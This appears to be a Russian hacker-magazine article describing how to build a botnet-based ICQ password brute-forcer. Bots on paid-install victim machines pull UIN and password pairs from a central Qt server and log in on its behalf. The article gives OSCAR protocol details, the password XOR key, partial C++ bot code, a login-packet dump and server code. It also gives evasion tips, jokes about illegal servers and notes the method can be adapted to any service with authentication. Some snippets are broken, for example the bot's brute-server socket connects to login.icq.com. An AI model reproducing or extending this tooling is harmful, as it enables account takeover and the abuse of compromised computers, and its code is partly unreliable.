В середине 2008 года мы с человеком, скрывающимся под ником OstWay, написали SRQ Brute – брутфорс ICQ с поддержкой абсолютно нового (для ICQ) типа прокси – анонимайзеров. В то время это было революцией в бруте ICQ. Спустя два года, я думаю, настало время совершить новую революцию.

 

Общая теория

Какими же они будут, эти новые прокси, и зачем они нужны? Давай рассмотрим основные проблемы, с которыми приходится сталкиваться при бруте через обычные прокси. Предположим, что у тебя есть приватный SOCKS-бот, и есть где взять загрузки. Перед тобой встанут следующие затруднения:

  1. Очень, очень мало интернет-юзеров имеют реальный IP – IPv4-адреса подходят к концу, провайдеры сажают абонентов за NAT, откуда бот, само собой, работать не будет. Теряем много денег;
  2. 99% гарантия, что не ты один будешь использовать свои прокси – в итоге они очень быстро сдохнут, и брут будет идти медленно.

«Ну, и что же делать?», – спросишь ты. Так вот, сегодня я поведаю тебе об абсолютно новой концепции брута. Как обычно работает брутфорс? Он коннектится к прокси (SOCKS4/5 или HTTP(s)), передает им информацию, получает ответ и анализирует его. В нашем случае все будет по-другому — прокси коннектятся к брутфорсу, он вместо целого пакета логина передает только пару uin;password, и получает в ответ всего один байт – так мы уменьшаем объем переданной информации, и, следовательно, увеличиваем скорость. Пакет для логина собирается уже самой проксей, ею же анализируется ответ. Все предельно просто.

Бот будет написан на чистом C++ и WinSock (я использую MS Visual C++ 2008 Express; кстати, только ради этого проекта я держу винду), а брутфорс – на C++ с фреймворком Qt, так как будет меньше возни, быстрее написание + кроссплатформенность, что очень актуально – вдруг я захочу юзать свое творение на линуксовом или бээсдешном дедике?

 

Теория ICQ

Как происходит логин на сервер ICQ? Если брать небезопасный логин (где пароль передается в открытом виде, а нам как раз этот способ и нужен, поскольку так проще), то логин выглядит так: (здесь и далее: «->» – действие от нас, «<-» – действие со стороны сервера)

  1. -> Коннект к серверу ICQ;
  2. <- Hello-пакет. Первый байт в нем всегда равен 0x2a (как и в любом пакете ICQ);
  3. -> Отправка пакета с данными для авторизации (то есть UIN, пароль, геолокация, язык и т.д.);
  4. <- Пакет с результатами авторизации и дисконнект со стороны сервера.

Как видишь, сервер первым «здоровается» с нами. Если первый байт от сервера не равен 0x2a, значит, мы приконнектились не к тому серверу. На четвертом шаге, если мы залогинились удачно, нам приходит пакет SRV_COOKIE, содержащий адрес BOS-сервера, и, собственно, куки для авторизации. Если неудачно – пакет с описанием ошибки. В любом случае, после передачи этого пакета нас дисконнектит (пакет отправляется по каналу 0x04, то есть CLOSE_CONNECTION).

В протоколе OSCAR существуют три основных типа данных, ниже они перечислены в порядке «вложенности» – как в матрешке, начиная с самой маленькой:

  • TLV – Type, Length, Value – название говорит само за себя. Состоит из 0x02 + 0x02 + BLOB байт. В первых двух байтах указывается тип пакета, во вторых двух – длина (uint16), далее идет содержимое пакета.
  • SNAC – Simple Network Atomic Communication, состоит из family – «семейства», type – идентификатора в «семействе», флагов, requestId (последние два используются редко, обычно выставлены в 0x00) и, собственно, данных.
  • FLAP – самый «главный» тип данных, без него не обходится ни один пакет. FLAP состоит из первого байта, всегда равного 0x2a, канала (0x01 – установка соединения, 0x02 – канала данных, 0x03 – канала ошибок (практически не используется), 0x04 – закрытие соединения, 0x05 – «пинг» (KeepAlive)). Далее следуют два байта «sequence» – порядковый номер пакета, он увеличивается с каждым пакетом. Следующие 2 байта – длина содержимого, ну и, наконец,само содержимое.

Первый пакет, который мы должны отправить – CLI_IDENT:

  • TLV 0x0001 – UIN в виде строки
  • TLV 0x0002 – Пароль в «шифрованном» виде – каждый байт пароля XOR’ится соответствующим байтом из набора «\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c»
  • TLV 0x0003 – ClientID – имя клиента, строка. «ICQ Client» либо «AIM»
  • TLV 0x0016 – два байта, номер версии клиента до первой точки
  • TLV 0x0017, 0x0018, 0x0019, 0x001A, 0x0014 – части версии клиента, по два байта
  • TLV 0x000E, 0x000F – страна и язык клиента соответственно. Строки («us», «en» или «ru», «ru», к примеру)
 

Практика

Покаюсь – на практике из описанного реализовано пока далеко не все (в связи с катастрофической нехваткой времени), поэтому статья достаточно абстрактна, однако, даже если бы проект был полностью готов, исходников прибавилось бы немного – это же коммерческая тайна!

Коннектиться к серверу мы будем по протоколу TCP (как к серверу с брутфорсом, так и к серверу ICQ). Для этого я написал небольшой класс, реализация которого абсолютно тривиальна, поэтому я покажу тебе только его объявление:

class Socket
{
public:
bool connectToHost(const char *hostName, int port);
bool sendData(const char *buff, int length);
bool receiveData(char *buff, int length);
int bytesAvailable();
void disconnectFromHost() { closesocket(sock); }

private:
SOCKET sock;

};

Один и тот же класс будет использоваться для двух объектов-сокетов. Сначала нужно приконнектиться к данному нам ICQ-серверу и проверить, является ли он ICQ-сервером:

if ( ! sock.connectToHost(“login.icq.com”, 5190) )
return false;
char buff[16];
memset(buff, 0, 16);
sock.receiveData(buff, 10);
if ( buff[0] != 0x2A ) {
   
sock.disconnectFromHost();
   
return false;
}
return true;

Далее, если все нормально – коннектимся к брутфорсу, и проверяем, а брутфорс ли это?

if ( ! sock.connectToHost(“login.icq.com”, 5190) )
return false;

if ( ! bruteSock.sendData("\xD\xE\xA\xD\xB\xE\xE\xF", 8) ) {
   
bruteSock.disconnectFromHost();
   
return false;
}

char data[8];

if ( ! bruteSock.receiveData(data, 8) || memcmp(data, "\xF\xE\xE\xB\xD\xA\xE\xD", 8) ) {
   
bruteSock.disconnectFromHost();
   
return false;
}

return true;

Если тут тоже все идет нормально – получаем UIN и пароль от сервера, и пытаемся залогиниться.

memset(uin, 0x00, UIN_LENGTH);
memset(pass, 0x00, PASS_LENGTH);

/* Receive uin & pass */
bruteSock.receiveData(uin, 9);
bruteSock.receiveData(pass, 8);
.............

Чтобы не собирать пакет CLI_IDENT вручную, я собираю его из кусков, полученных с помощью ICQMenace – все части пакета, кроме UIN и Password, статичны и одинаковы при любом раскладе.

Вот тебе полный дамп, «перегнанный» в C-style массив байт – а со сборкой пакета разбирайся сам :). Не буду раскрывать все карты, тем более тут уже указано, что и где должно быть:

const char loginData[] = "\x00\x1c\xf0\x21\xcf
\x4a\x00\x1f\xc6\xbd\x83\xdc\x08\x00\x45\x00"
"\x00\x87\x3a\xd4\x40\x00\x80\x06\xec\x16\x0a\x96\x00\x08\xcd\xbc"
"\xfb\x2b\x07\x48\x14\x46\xa6\xdd\x20\x4c\xa5\x9e\x57\xa1\x50\x18"
"\xff\xf5\x64\xd3\x00\x00\x2a\x01\x50\x31\x00\x59\x00\x00\x00\x01"
"\x00\x01\x00%d%sx00\x02\x00%d"
"%s\x00\x03\x00\x0a\x49\x43\x51\x20\x43\x6c\x69"
"\x65\x6e\x74\x00\x16\x00\x02\x01\x0a\x00\x17\x00\x02\x00\x06\x00"
"\x18\x00\x02\x00\x05\x00\x19\x00\x02\x00\x00\x00\x1a\x00\x02\x00"
"\x68\x00\x14\x00\x04\x00\x00\x75\x37\x00\x0f\x00\x02\x65\x6e\x00"
"\x0e\x00\x02\x75\x73";

Далее мы получаем данные от ICQ-сервера, сверяемся, подошел пароль или нет, и отправляем ответ серверу, к примеру, 0 – подошел, 1 – не подошел, 2 – ошибка.

 

Брутфорс

Пришло время писать серверную часть брутфорса на Qt. В Qt есть класс для создания TCP-сервера – QTcpServer. Посмотрим, какие методы нам от него потребуются:

bool listen (const QHostAddress & address = QHostAddress::Any, quint16port = 0)

Запускает прослушивание заданного порта на заданном интерфейсе. Советую оставлять интерфейс дефолтным (QHostAddress::Any) во избежание проблем с подключением.

Когда к серверу присоединяется клиент, объект генерирует сигнал:

void QTcpServer::newConnection () [signal]

Как только мы «поймаем» этот сигнал, мы можем «взять» сокет из очереди с подключенным к нему клиентом с помощью метода

QTcpSocket * QTcpServer::nextPendingConnection ()

Если в данный момент активных соединений нет, то функция вернет нулевой указатель.
Далее от нас требуется просто писать в сокет данные и читать их (поочередно), например, так:

QtcpSocket *socket = server->
nextPendingConnection();
if ( socket == NULL ) {
   
// Shaitan!!!111
   
return;
}

socket->write(QByteArray::fromHex(“DEADBEEF”);
socket->waitForReadyRead();
if ( socket->readAll() != QByteArray::fromHex(“FEEBDAED”) )
// Error
else
// success
socket->disconnectFromHost();
socket->waitForDisconnected();
delete socket;

Идем дальше. Эта функция:

bool QAbstractSocket::waitForReadyRead ( int msecs = 30000 )

позволяет создавать приложения с использованием сокетов в блокирующем режиме – она возвращает управление только после того, как на сокете появятся данные, либо истечет время, равное msecs (в миллисекундах).

Также, если мы хотим сделать все красиво и правильно, нужно дождаться отключения сокета до его удаления, то есть вызвать блокирующий метод waitForDisconnected(), и только после этого удалять объект.

Также не забудь подключить модуль QtNetwork в файле .pro. Делается это так:

QT += network

 

Заключение

Ну вот, основы я тебе объяснил, дальше дерзай сам! Что тебе осталось сделать?

  1. Собрать пакет CLI_IDENT;
  2. Принять и проанализировать ответ;
  3. Написать сервер-брутфорс – рутинная работа, про которую писали уже не раз, и справиться с которой может любой школьник.

Кстати, ответ от ICQ-сервера в любом случае приходит по четвертому каналу (CONNECTION_CLOSE). Кроме того, могу посоветовать использовать UDP-сокеты для связи бота с сервером-брутфорсом – отправка таких пакетов менее палевна из-за отсутствия лишних соединений (это пригодится в случае, если ты надумаешь брутить на не совсем легальном дедике :)). С этим тебе поможет класс QUdpSocket.

Само собой, брутить таким способом можно не только ICQ-номера; такой ботнет можно адаптировать для любого сервиса с авторизацией.

 

CD

Исходников не будет, так как, во-первых, целиком их у меня нет, во-вторых, коммерческая тайна 🙂

 

WWW

  • oscar.asechka.ru – документация OSCAR на русском языке.
 

WARNING

Информация предоставлена исключительно в ознакомительных целях.

Оставить мнение

Check Also

Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на…